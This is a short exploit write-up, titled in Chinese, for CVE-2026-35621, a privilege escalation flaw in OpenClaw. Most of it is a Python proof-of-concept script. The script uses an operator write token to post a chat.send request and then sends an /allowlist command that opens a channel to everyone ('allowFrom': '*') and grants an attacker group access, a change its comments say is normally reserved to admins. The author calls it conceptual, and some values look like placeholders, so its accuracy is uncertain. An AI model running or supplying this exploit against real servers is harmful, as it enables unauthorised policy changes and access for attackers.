CVE-2026-35621 OpenClaw权限提升漏洞

# Conceptual PoC for CVE-2026-35621 # Exploiting privilege escalation via chat.send context import requests def exploit(target_url, operator_write_token): headers = { "Authorization": f"Bearer {operator_write_token}", "Content-Type": "application/json" } # Step 1: Build internal command-authorized context using chat.send # This specific endpoint/action prepares the internal context chat_payload = { "action": "chat.send", "channel": "system", "message": "trigger_internal_context" } print("[+] Step 1: Building internal context via chat.send...") session = requests.Session() resp = session.post(f"{target_url}/api/chat", json=chat_payload, headers=headers) if resp.status_code != 200: print("[-] Failed to establish context.") return # Step 2: Abuse /allowlist command to mutate policy # Normally restricted to operator.admin allowlist_payload = { "command": "/allowlist", "params": { "channel": "private-channel", "allowFrom": "*", # Malicious policy change "groupAllowFrom": "attacker-group" } } print("[+] Step 2: Sending malicious /allowlist command...") exploit_resp = session.post(f"{target_url}/api/command", json=allowlist_payload, headers=headers) if exploit_resp.status_code == 200: print("[+] Exploit successful! Policy persisted.") else: print("[-] Exploit failed.") # Usage # exploit("http://openclaw-server", "WRITE_TOKEN_HERE")